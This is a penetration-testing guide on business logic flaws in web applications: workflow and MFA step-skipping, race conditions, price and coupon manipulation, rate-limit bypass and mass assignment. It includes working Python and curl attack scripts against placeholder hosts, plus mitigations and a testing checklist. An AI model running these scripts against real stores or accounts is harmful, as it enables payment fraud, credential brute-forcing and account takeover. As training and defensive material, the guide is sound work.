Exploitation A04

Business Logic Vulnerabilities

Business logic vulnerabilities exploit flaws in the application's workflow, rules, and assumptions. Unlike technical vulnerabilities, these abuse the intended functionality in unintended ways. This guide covers workflow bypasses, race conditions, payment manipulation, and other logic flaws.

Why Business Logic Matters

Business logic vulnerabilities are difficult to detect with automated scanners because they don't involve traditional injection or XSS patterns. They require understanding the application's intended behavior and thinking like an attacker to find ways to abuse it. These flaws can lead to financial loss, fraud, and severe business impact.

Warning

Business logic testing may involve financial transactions, inventory systems, or critical workflows. Always use test accounts and test environments. Never manipulate real production data or transactions.

Workflow Bypass

Applications often enforce multi-step processes (checkout, registration, approval workflows). Workflow bypass attacks attempt to skip required steps or access endpoints out of order.

Common Workflow Vulnerabilities

Step Skipping

Jumping directly to final step (e.g., order confirmation without payment)

State Manipulation

Modifying session/cookie state to bypass workflow checks

Parallel Workflows

Starting multiple workflows simultaneously to confuse state

Forced Browsing

Accessing workflow URLs directly without prerequisites

Testing Methodology

workflow-bypass.sh
bash
# 1. Map the workflow
# Identify all steps: /checkout/cart → /checkout/shipping → /checkout/payment → /checkout/confirm

# 2. Test direct access to later steps
curl -X POST https://target.com/checkout/confirm \
  -H "Cookie: session=abc123" \
  -d "order_id=12345"

# 3. Manipulate workflow state
# Try accessing step 3 with cookies/session from step 1

# 4. Test parameter tampering
# Change step indicators in POST data
curl -X POST https://target.com/checkout/process \
  -d "step=1" \
  -d "action=complete"  # Try to complete entire workflow

# 5. Test parallel sessions
# Open two workflows simultaneously and see if you can merge states
# 1. Map the workflow
# Identify all steps: /checkout/cart → /checkout/shipping → /checkout/payment → /checkout/confirm

# 2. Test direct access to later steps
curl -X POST https://target.com/checkout/confirm \
  -H "Cookie: session=abc123" \
  -d "order_id=12345"

# 3. Manipulate workflow state
# Try accessing step 3 with cookies/session from step 1

# 4. Test parameter tampering
# Change step indicators in POST data
curl -X POST https://target.com/checkout/process \
  -d "step=1" \
  -d "action=complete"  # Try to complete entire workflow

# 5. Test parallel sessions
# Open two workflows simultaneously and see if you can merge states

Example: E-commerce Checkout Bypass

checkout-bypass.py
python
import requests

# Step 1: Add items to cart
session = requests.Session()
session.post('https://shop.example.com/cart/add', 
    json={'product_id': 123, 'quantity': 1})

# Step 2: Skip payment and go directly to confirmation
# Normal flow: /cart → /shipping → /payment → /confirm
# Attack: Jump to confirm without payment

response = session.post('https://shop.example.com/checkout/confirm', 
    json={
        'shipping_address': '123 Test St',
        'payment_method': 'credit_card',  # Claim payment done
        'payment_status': 'completed'     # Manipulate status
    })

if 'Order Confirmed' in response.text:
    print('[!] Workflow bypass successful - order without payment!')
    print(response.json())
import requests

# Step 1: Add items to cart
session = requests.Session()
session.post('https://shop.example.com/cart/add', 
    json={'product_id': 123, 'quantity': 1})

# Step 2: Skip payment and go directly to confirmation
# Normal flow: /cart → /shipping → /payment → /confirm
# Attack: Jump to confirm without payment

response = session.post('https://shop.example.com/checkout/confirm', 
    json={
        'shipping_address': '123 Test St',
        'payment_method': 'credit_card',  # Claim payment done
        'payment_status': 'completed'     # Manipulate status
    })

if 'Order Confirmed' in response.text:
    print('[!] Workflow bypass successful - order without payment!')
    print(response.json())

Tip

Use Burp Suite's "Match and Replace" to automatically change workflow state parameters (e.g., step=1 → step=4) to quickly test workflow bypass scenarios.

Race Conditions (TOCTOU)

Race conditions occur when the timing of operations affects the outcome. Time-Of-Check-Time-Of-Use (TOCTOU) vulnerabilities arise when a check and an action are not atomic, allowing an attacker to change state between the check and the use.

Common Race Condition Scenarios

💰 Double Spending

Spending the same credits/voucher/tokens multiple times by exploiting race conditions in validation

Example: Redeeming a $10 voucher code 10 times simultaneously before the first redemption is recorded

🔢 Resource Limit Bypass

Exceeding account limits (file uploads, invitations, API calls) by racing parallel requests

Example: Uploading 100 files when limit is 5 by sending 100 requests simultaneously

💸 Negative Balance

Creating negative balances by racing withdrawal requests against insufficient funds

Example: Account has $100, but racing 5x $50 withdrawals results in -$150 balance

Testing for Race Conditions

race-condition-test.py
python
import requests
import threading

# Target: Voucher redemption endpoint
url = 'https://target.com/api/redeem-voucher'
voucher_code = 'SAVE10'

# Race condition exploit
def redeem_voucher(thread_id):
    response = requests.post(url, 
        json={'voucher': voucher_code},
        headers={'Authorization': 'Bearer YOUR_TOKEN'})
    print(f'[Thread {thread_id}] Status: {response.status_code}')
    if response.status_code == 200:
        print(f'[Thread {thread_id}] SUCCESS: {response.json()}')

# Launch 10 simultaneous requests
threads = []
for i in range(10):
    t = threading.Thread(target=redeem_voucher, args=(i,))
    threads.append(t)
    t.start()

# Wait for all threads to complete
for t in threads:
    t.join()

print('\n[!] If multiple successes, race condition exists!')
import requests
import threading

# Target: Voucher redemption endpoint
url = 'https://target.com/api/redeem-voucher'
voucher_code = 'SAVE10'

# Race condition exploit
def redeem_voucher(thread_id):
    response = requests.post(url, 
        json={'voucher': voucher_code},
        headers={'Authorization': 'Bearer YOUR_TOKEN'})
    print(f'[Thread {thread_id}] Status: {response.status_code}')
    if response.status_code == 200:
        print(f'[Thread {thread_id}] SUCCESS: {response.json()}')

# Launch 10 simultaneous requests
threads = []
for i in range(10):
    t = threading.Thread(target=redeem_voucher, args=(i,))
    threads.append(t)
    t.start()

# Wait for all threads to complete
for t in threads:
    t.join()

print('\n[!] If multiple successes, race condition exists!')

Turbo Intruder Attack

turbo-intruder-race.py
python
# Burp Suite Turbo Intruder script for race conditions
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=20,
                          requestsPerConnection=1,
                          pipeline=False)
    
    # Send same request 50 times simultaneously
    for i in range(50):
        engine.queue(target.req, gate='race')
    
    # Open the gate - all requests sent at once
    engine.openGate('race')

def handleResponse(req, interesting):
    table.add(req)
# Burp Suite Turbo Intruder script for race conditions
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=20,
                          requestsPerConnection=1,
                          pipeline=False)
    
    # Send same request 50 times simultaneously
    for i in range(50):
        engine.queue(target.req, gate='race')
    
    # Open the gate - all requests sent at once
    engine.openGate('race')

def handleResponse(req, interesting):
    table.add(req)

Tip

Use Burp Suite's Turbo Intruder extension for precise race condition testing. It can send hundreds of requests with microsecond-level timing control.

Payment & Transaction Manipulation

Payment logic flaws allow attackers to manipulate prices, quantities, currency, or transaction flow to obtain goods/services for free or at reduced cost.

Common Payment Vulnerabilities

💵 Price Manipulation

  • • Negative prices
  • • Zero prices
  • • Decimal precision (0.01 vs 0.0001)
  • • Hidden price fields in HTML/JS

📦 Quantity Manipulation

  • • Negative quantities
  • • Fractional quantities
  • • Overflow (999999999)
  • • Zero quantities with vouchers

💱 Currency Manipulation

  • • Currency switching
  • • Exchange rate abuse
  • • Mixed currency transactions
  • • Currency symbol injection

Testing Methodology

payment-testing.txt
bash
# 1. Intercept checkout request and analyze parameters
POST /checkout HTTP/1.1
Content-Type: application/json

{
  "product_id": 123,
  "quantity": 1,
  "price": 99.99,
  "currency": "USD",
  "discount_code": ""
}

# 2. Test price manipulation
{"price": -99.99}  # Negative price (get paid to buy)
{"price": 0}       # Zero price
{"price": 0.01}    # Minimal price
{"price": "99.99 OR 1=1"}  # SQL injection in price

# 3. Test quantity manipulation
{"quantity": -1}   # Negative quantity (add to balance?)
{"quantity": 0}    # Zero quantity (free shipping with voucher?)
{"quantity": 999999999}  # Integer overflow
{"quantity": 1.5}  # Fractional quantity

# 4. Test currency manipulation
{"currency": "XXX"}  # Invalid currency code
{"currency": "BTC"}  # Cryptocurrency (different exchange rate?)
{"price": 99.99, "currency": "IDR"}  # Switch to weak currency

# 5. Test parameter pollution
price=0.01&price=99.99  # Which one is used?
# 1. Intercept checkout request and analyze parameters
POST /checkout HTTP/1.1
Content-Type: application/json

{
  "product_id": 123,
  "quantity": 1,
  "price": 99.99,
  "currency": "USD",
  "discount_code": ""
}

# 2. Test price manipulation
{"price": -99.99}  # Negative price (get paid to buy)
{"price": 0}       # Zero price
{"price": 0.01}    # Minimal price
{"price": "99.99 OR 1=1"}  # SQL injection in price

# 3. Test quantity manipulation
{"quantity": -1}   # Negative quantity (add to balance?)
{"quantity": 0}    # Zero quantity (free shipping with voucher?)
{"quantity": 999999999}  # Integer overflow
{"quantity": 1.5}  # Fractional quantity

# 4. Test currency manipulation
{"currency": "XXX"}  # Invalid currency code
{"currency": "BTC"}  # Cryptocurrency (different exchange rate?)
{"price": 99.99, "currency": "IDR"}  # Switch to weak currency

# 5. Test parameter pollution
price=0.01&price=99.99  # Which one is used?

Example Attack Scenarios

payment-exploits.py
python
import requests

# Scenario 1: Negative price exploit
response = requests.post('https://shop.com/checkout',
    json={
        'items': [
            {'id': 123, 'quantity': 1, 'price': 100},
            {'id': 456, 'quantity': 1, 'price': -150}  # Negative price
        ]
    })
# Total: 100 + (-150) = -50 (shop pays YOU $50!)

# Scenario 2: Integer overflow
response = requests.post('https://shop.com/cart/add',
    json={
        'product_id': 789,
        'quantity': 2147483647  # Max 32-bit int
    })
# Quantity might wrap to negative, causing free products

# Scenario 3: Discount code stacking
response = requests.post('https://shop.com/apply-discount',
    json={
        'codes': ['SAVE10', 'SAVE20', 'SAVE30']  # Multiple codes
    })
# If not validated, might stack 10% + 20% + 30% = 60% off

# Scenario 4: Currency timing attack
# 1. Start checkout in USD ($100)
# 2. Switch currency to IDR (Indonesian Rupiah)
# 3. If exchange rate not updated, pay ₹100 (~$0.007)

session = requests.Session()
session.post('https://shop.com/cart/add', json={'id': 123})
session.post('https://shop.com/settings/currency', json={'currency': 'IDR'})
response = session.post('https://shop.com/checkout/pay')
print(response.json())  # Check final price
import requests

# Scenario 1: Negative price exploit
response = requests.post('https://shop.com/checkout',
    json={
        'items': [
            {'id': 123, 'quantity': 1, 'price': 100},
            {'id': 456, 'quantity': 1, 'price': -150}  # Negative price
        ]
    })
# Total: 100 + (-150) = -50 (shop pays YOU $50!)

# Scenario 2: Integer overflow
response = requests.post('https://shop.com/cart/add',
    json={
        'product_id': 789,
        'quantity': 2147483647  # Max 32-bit int
    })
# Quantity might wrap to negative, causing free products

# Scenario 3: Discount code stacking
response = requests.post('https://shop.com/apply-discount',
    json={
        'codes': ['SAVE10', 'SAVE20', 'SAVE30']  # Multiple codes
    })
# If not validated, might stack 10% + 20% + 30% = 60% off

# Scenario 4: Currency timing attack
# 1. Start checkout in USD ($100)
# 2. Switch currency to IDR (Indonesian Rupiah)
# 3. If exchange rate not updated, pay ₹100 (~$0.007)

session = requests.Session()
session.post('https://shop.com/cart/add', json={'id': 123})
session.post('https://shop.com/settings/currency', json={'currency': 'IDR'})
response = session.post('https://shop.com/checkout/pay')
print(response.json())  # Check final price

Warning

Legal Notice: Actually exploiting payment vulnerabilities to obtain goods without paying is illegal and constitutes fraud. Only test with authorization in controlled environments with test accounts and test payment methods.

Rate Limiting Bypass

Rate limiting protects against brute force, enumeration, and denial of service attacks. Testing for rate limiting bypass helps identify weak or missing protections.

Bypass Techniques

🔀 Header Manipulation

bash
# Add headers to bypass IP-based rate limiting
X-Forwarded-For: 1.2.3.4
X-Real-IP: 1.2.3.4
X-Originating-IP: 1.2.3.4
X-Remote-IP: 1.2.3.4
X-Client-IP: 1.2.3.4
Forwarded: for=1.2.3.4

# Try localhost bypass
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: ::1

# Try internal IP ranges
X-Forwarded-For: 10.0.0.1
X-Forwarded-For: 192.168.1.1
# Add headers to bypass IP-based rate limiting
X-Forwarded-For: 1.2.3.4
X-Real-IP: 1.2.3.4
X-Originating-IP: 1.2.3.4
X-Remote-IP: 1.2.3.4
X-Client-IP: 1.2.3.4
Forwarded: for=1.2.3.4

# Try localhost bypass
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: ::1

# Try internal IP ranges
X-Forwarded-For: 10.0.0.1
X-Forwarded-For: 192.168.1.1

🔄 Session Rotation

python
# Rotate sessions to bypass user-based rate limiting
import requests

for i in range(1000):
    session = requests.Session()  # New session each time
    response = session.post('https://target.com/login',
        json={'username': 'admin', 'password': f'pass{i}'})
    print(f'[{i}] Status: {response.status_code}')
# Rotate sessions to bypass user-based rate limiting
import requests

for i in range(1000):
    session = requests.Session()  # New session each time
    response = session.post('https://target.com/login',
        json={'username': 'admin', 'password': f'pass{i}'})
    print(f'[{i}] Status: {response.status_code}')

🎭 Parameter Pollution

bash
# Try different parameter encodings to bypass detection
email=test@example.com
email=test%40example.com
email=test%2540example.com (double encoding)
email[]=test@example.com (array format)
email.value=test@example.com

# Case sensitivity bypass
Email=test@example.com
EMAIL=test@example.com
# Try different parameter encodings to bypass detection
email=test@example.com
email=test%40example.com
email=test%2540example.com (double encoding)
email[]=test@example.com (array format)
email.value=test@example.com

# Case sensitivity bypass
Email=test@example.com
EMAIL=test@example.com

Information

For comprehensive rate limiting testing techniques, see the API Rate Limiting guide.

Resource Exhaustion

Resource exhaustion attacks exploit business logic to consume excessive resources (storage, processing, memory) causing denial of service or financial cost.

Common Attack Vectors

💾 Storage Exhaustion

  • • Uploading massive files
  • • Creating unlimited accounts
  • • Zip bombs
  • • Log file pollution

⚡ Processing Exhaustion

  • • Complex regex (ReDoS)
  • • PDF rendering bombs
  • • Image processing attacks
  • • Expensive database queries

Timing Attacks

Timing attacks exploit differences in response times to infer information about the application's internal state (user existence, password correctness, etc.).

timing-attack.py
python
import requests
import time

# Test for user enumeration via timing
def test_timing(email):
    start = time.time()
    response = requests.post('https://target.com/login',
        json={'email': email, 'password': 'wrong'})
    elapsed = time.time() - start
    return elapsed

# Valid users might take longer (password check)
# Invalid users fail fast (no password check)
print(f'valid@example.com: {test_timing("valid@example.com"):.4f}s')
print(f'invalid@example.com: {test_timing("invalid@example.com"):.4f}s')

# If timing difference > 100ms, user enumeration possible
import requests
import time

# Test for user enumeration via timing
def test_timing(email):
    start = time.time()
    response = requests.post('https://target.com/login',
        json={'email': email, 'password': 'wrong'})
    elapsed = time.time() - start
    return elapsed

# Valid users might take longer (password check)
# Invalid users fail fast (no password check)
print(f'valid@example.com: {test_timing("valid@example.com"):.4f}s')
print(f'invalid@example.com: {test_timing("invalid@example.com"):.4f}s')

# If timing difference > 100ms, user enumeration possible

Tools & Resources

🛠️ Testing Tools

  • Burp Suite Turbo Intruder
    Race condition and high-speed testing
  • race-the-web
    Command-line race condition tester
  • Racepwn
    Automated race condition detection

Mitigation Strategies

  • Server-Side Validation: Always validate all business rules on the server. Never trust client-side checks.
  • Atomic Operations: Use database transactions and locking to prevent race conditions
  • Idempotency: Make operations idempotent (same result when repeated) using idempotency keys
  • Workflow State Machine: Implement strict state machines that enforce valid transitions
  • Rate Limiting: Implement proper rate limiting on all sensitive operations
  • Input Validation: Validate ranges, data types, and business constraints (e.g., quantity > 0)
  • Constant-Time Comparisons: Use constant-time comparison for sensitive operations to prevent timing attacks

✅ Business Logic Testing Checklist

Workflow Abuse
  • ☐ Skip steps in multi-step processes
  • ☐ Repeat steps out of order
  • ☐ Test state transitions (e.g., unpaid→shipped)
  • ☐ Race conditions on critical operations
  • ☐ State machine invalid transitions
  • ☐ MFA step-skip logic flaws
Data Validation
  • ☐ Negative values (price, quantity)
  • ☐ Integer overflow / underflow
  • ☐ Currency rounding manipulation
  • ☐ Coupon / discount stacking
  • ☐ Gift card balance exploitation
  • ☐ Mass assignment of hidden fields
Authorization Logic
  • ☐ Feature flag bypass
  • ☐ Tier/plan limit circumvention
  • ☐ Referral / reward abuse
  • ☐ Rate limit bypass on sensitive actions

🔬 Advanced Business Logic Attacks

State Machine Testing

Model the application's workflow as a state machine, then test every possible invalid transition:

python
# State machine audit methodology
# 1. Map all states: pending → paid → processing → shipped → delivered → returned
# 2. For each state, test transitions to EVERY other state (not just the next one)

import requests

BASE = "https://target.com/api"
TOKEN = "Bearer YOUR_TOKEN"
HEADERS = {"Authorization": TOKEN, "Content-Type": "application/json"}

# Create a test order
order = requests.post(f"{BASE}/orders", headers=HEADERS,
    json={"items": [{"id": 1, "qty": 1}]}).json()
order_id = order["id"]

# Test invalid state transitions
invalid_transitions = [
    ("pending", "shipped"),      # Skip payment
    ("pending", "delivered"),    # Skip everything
    ("shipped", "pending"),     # Reverse to get refund + keep item
    ("delivered", "processing"),# Reset to re-ship
    ("cancelled", "shipped"),   # Resurrect cancelled order
]

for from_state, to_state in invalid_transitions:
    # Force state via direct API manipulation
    r = requests.patch(f"{BASE}/orders/{order_id}",
        headers=HEADERS,
        json={"status": to_state})
    print(f"{from_state}{to_state}: {r.status_code} - {r.text[:100]}")

    # Also try via workflow endpoints
    r = requests.post(f"{BASE}/orders/{order_id}/{to_state}", headers=HEADERS)
    print(f"  Direct endpoint: {r.status_code}")
# State machine audit methodology
# 1. Map all states: pending → paid → processing → shipped → delivered → returned
# 2. For each state, test transitions to EVERY other state (not just the next one)

import requests

BASE = "https://target.com/api"
TOKEN = "Bearer YOUR_TOKEN"
HEADERS = {"Authorization": TOKEN, "Content-Type": "application/json"}

# Create a test order
order = requests.post(f"{BASE}/orders", headers=HEADERS,
    json={"items": [{"id": 1, "qty": 1}]}).json()
order_id = order["id"]

# Test invalid state transitions
invalid_transitions = [
    ("pending", "shipped"),      # Skip payment
    ("pending", "delivered"),    # Skip everything
    ("shipped", "pending"),     # Reverse to get refund + keep item
    ("delivered", "processing"),# Reset to re-ship
    ("cancelled", "shipped"),   # Resurrect cancelled order
]

for from_state, to_state in invalid_transitions:
    # Force state via direct API manipulation
    r = requests.patch(f"{BASE}/orders/{order_id}",
        headers=HEADERS,
        json={"status": to_state})
    print(f"{from_state}{to_state}: {r.status_code} - {r.text[:100]}")

    # Also try via workflow endpoints
    r = requests.post(f"{BASE}/orders/{order_id}/{to_state}", headers=HEADERS)
    print(f"  Direct endpoint: {r.status_code}")

Multi-Factor Logic Flaws

MFA implementations often have logic flaws in the verification workflow itself:

bash
# Step skip: Complete login, skip MFA verification, access protected resource
# 1. POST /login → 200 OK (sets session cookie, redirects to /mfa/verify)
# 2. Instead of visiting /mfa/verify, go directly to /dashboard
curl -b "session=LOGIN_COOKIE" https://target.com/dashboard
# If dashboard loads → MFA bypass via step skip

# MFA fallback abuse: Request SMS code, then use backup code endpoint
# Some apps don't check which MFA method was initiated
curl -X POST https://target.com/mfa/send-sms  # Initiate SMS
curl -X POST https://target.com/mfa/verify-backup   -d '{"code": "12345678"}'  # But verify with backup code (different endpoint)

# MFA enrollment tampering
# During initial MFA setup, intercept and modify the TOTP secret
# Or: disable MFA by sending enrollment cancellation from a different session
curl -X DELETE https://target.com/api/user/mfa   -H "Authorization: Bearer VALID_TOKEN"

# MFA fatigue via push notifications (if push-based MFA)
# Repeatedly trigger MFA push until user approves out of frustration
for i in $(seq 1 50); do
  curl -X POST https://target.com/login     -d '{"email":"victim@target.com","password":"known_password"}'
  sleep 3
done
# Step skip: Complete login, skip MFA verification, access protected resource
# 1. POST /login → 200 OK (sets session cookie, redirects to /mfa/verify)
# 2. Instead of visiting /mfa/verify, go directly to /dashboard
curl -b "session=LOGIN_COOKIE" https://target.com/dashboard
# If dashboard loads → MFA bypass via step skip

# MFA fallback abuse: Request SMS code, then use backup code endpoint
# Some apps don't check which MFA method was initiated
curl -X POST https://target.com/mfa/send-sms  # Initiate SMS
curl -X POST https://target.com/mfa/verify-backup   -d '{"code": "12345678"}'  # But verify with backup code (different endpoint)

# MFA enrollment tampering
# During initial MFA setup, intercept and modify the TOTP secret
# Or: disable MFA by sending enrollment cancellation from a different session
curl -X DELETE https://target.com/api/user/mfa   -H "Authorization: Bearer VALID_TOKEN"

# MFA fatigue via push notifications (if push-based MFA)
# Repeatedly trigger MFA push until user approves out of frustration
for i in $(seq 1 50); do
  curl -X POST https://target.com/login     -d '{"email":"victim@target.com","password":"known_password"}'
  sleep 3
done

Coupon & Discount Abuse Patterns

bash
# Coupon code stacking — apply multiple coupons that should be exclusive
curl -X POST https://target.com/api/cart/coupon   -d '{"code": "SAVE20"}' -b "session=COOKIE"
curl -X POST https://target.com/api/cart/coupon   -d '{"code": "WELCOME10"}' -b "session=COOKIE"
curl -X POST https://target.com/api/cart/coupon   -d '{"code": "FREESHIP"}' -b "session=COOKIE"
# Check if discounts compound: 20% + 10% + free shipping

# Coupon code prediction — check if codes follow a pattern
# Common patterns: PREFIX-SEQUENTIAL, WORD+NUMBER, date-based
# Try: SAVE21, SAVE22, SUMMER2024, WINTER2024, BF2024

# Self-referral loops
# 1. Create account A with referral code REF_A
# 2. Create account B using REF_A → both get credits
# 3. Create account C using referral from B
# 4. Use different email aliases (user+1@gmail.com, user+2@gmail.com)

# Gift card balance manipulation
curl -X POST https://target.com/api/giftcard/redeem   -d '{"card": "GIFTCARD123", "amount": -50}'  # Negative redemption = add balance

# Apply discount after price is calculated but before payment
# Race condition: apply coupon during checkout processing
# 1. Start checkout (no coupon)
# 2. In parallel: apply 100% discount coupon
# 3. If checkout uses pre-coupon price for display but post-coupon for charge

# Loyalty points manipulation
# Earn points on purchase, return item, keep points
# Convert points to cash, then use cash to earn more points (infinite loop)
# Coupon code stacking — apply multiple coupons that should be exclusive
curl -X POST https://target.com/api/cart/coupon   -d '{"code": "SAVE20"}' -b "session=COOKIE"
curl -X POST https://target.com/api/cart/coupon   -d '{"code": "WELCOME10"}' -b "session=COOKIE"
curl -X POST https://target.com/api/cart/coupon   -d '{"code": "FREESHIP"}' -b "session=COOKIE"
# Check if discounts compound: 20% + 10% + free shipping

# Coupon code prediction — check if codes follow a pattern
# Common patterns: PREFIX-SEQUENTIAL, WORD+NUMBER, date-based
# Try: SAVE21, SAVE22, SUMMER2024, WINTER2024, BF2024

# Self-referral loops
# 1. Create account A with referral code REF_A
# 2. Create account B using REF_A → both get credits
# 3. Create account C using referral from B
# 4. Use different email aliases (user+1@gmail.com, user+2@gmail.com)

# Gift card balance manipulation
curl -X POST https://target.com/api/giftcard/redeem   -d '{"card": "GIFTCARD123", "amount": -50}'  # Negative redemption = add balance

# Apply discount after price is calculated but before payment
# Race condition: apply coupon during checkout processing
# 1. Start checkout (no coupon)
# 2. In parallel: apply 100% discount coupon
# 3. If checkout uses pre-coupon price for display but post-coupon for charge

# Loyalty points manipulation
# Earn points on purchase, return item, keep points
# Convert points to cash, then use cash to earn more points (infinite loop)

Mass Assignment in Business Flows

Business logic endpoints often accept more parameters than documented. Adding hidden fields can escalate privileges or manipulate outcomes:

bash
# During user registration — add admin/role fields
curl -X POST https://target.com/api/register   -H "Content-Type: application/json"   -d '{"email":"test@test.com","password":"pass123","role":"admin","isVerified":true}'

# During order creation — manipulate pricing
curl -X POST https://target.com/api/orders   -H "Content-Type: application/json"   -d '{"items":[{"id":1,"qty":1}],"total":0.01,"discount":99.99,"shipping":0}'

# During profile update — escalate account type  
curl -X PUT https://target.com/api/user/profile   -H "Content-Type: application/json"   -d '{"name":"Test","plan":"enterprise","credits":999999,"isAdmin":true}'

# Discover hidden fields by:
# 1. Check API documentation / Swagger / OpenAPI specs
# 2. Look at GET responses — writable fields often match readable fields
# 3. Check JavaScript source for form field names
# 4. Try common field names: role, admin, verified, approved, active, balance
# During user registration — add admin/role fields
curl -X POST https://target.com/api/register   -H "Content-Type: application/json"   -d '{"email":"test@test.com","password":"pass123","role":"admin","isVerified":true}'

# During order creation — manipulate pricing
curl -X POST https://target.com/api/orders   -H "Content-Type: application/json"   -d '{"items":[{"id":1,"qty":1}],"total":0.01,"discount":99.99,"shipping":0}'

# During profile update — escalate account type  
curl -X PUT https://target.com/api/user/profile   -H "Content-Type: application/json"   -d '{"name":"Test","plan":"enterprise","credits":999999,"isAdmin":true}'

# Discover hidden fields by:
# 1. Check API documentation / Swagger / OpenAPI specs
# 2. Look at GET responses — writable fields often match readable fields
# 3. Check JavaScript source for form field names
# 4. Try common field names: role, admin, verified, approved, active, balance

Evidence Collection

Workflow Bypass: Step-by-step request sequence showing how mandatory steps (payment, approval, verification) were skipped or reordered

Financial Impact: Screenshots showing negative prices, zero-cost checkouts, duplicated rewards, or manipulated discount calculations with dollar amounts

Privilege Manipulation: Request showing mass assignment of role/admin fields and the resulting elevated access or modified account state

State Manipulation: Diagram or sequence showing the expected state machine flow vs. the exploited path (e.g., order placed → shipped without payment)

CVSS Range: Minor logic flaw (UI inconsistency): 3.1–4.3 | Financial manipulation: 6.5–8.0 (High) | Business-critical bypass (payment skip): 8.0–9.1

False Positive Identification

  • Intended flexibility: Some workflows are intentionally flexible (allowing steps to be done in any order, applying coupons at any stage). Confirm with the business team that the behavior is unintended before reporting.
  • Server-side validation exists: The client may allow unusual requests, but the server may reject them downstream (e.g., payment processor declines negative amounts). Check the final transaction state.
  • Test environment differences: Payment and business logic often behave differently in staging vs. production (sandbox payment providers always succeed). Note the testing environment.
  • Idempotent operations: Replaying a request that returns the same result isn't a race condition or logic flaw — it's idempotent by design. Test with state-changing operations.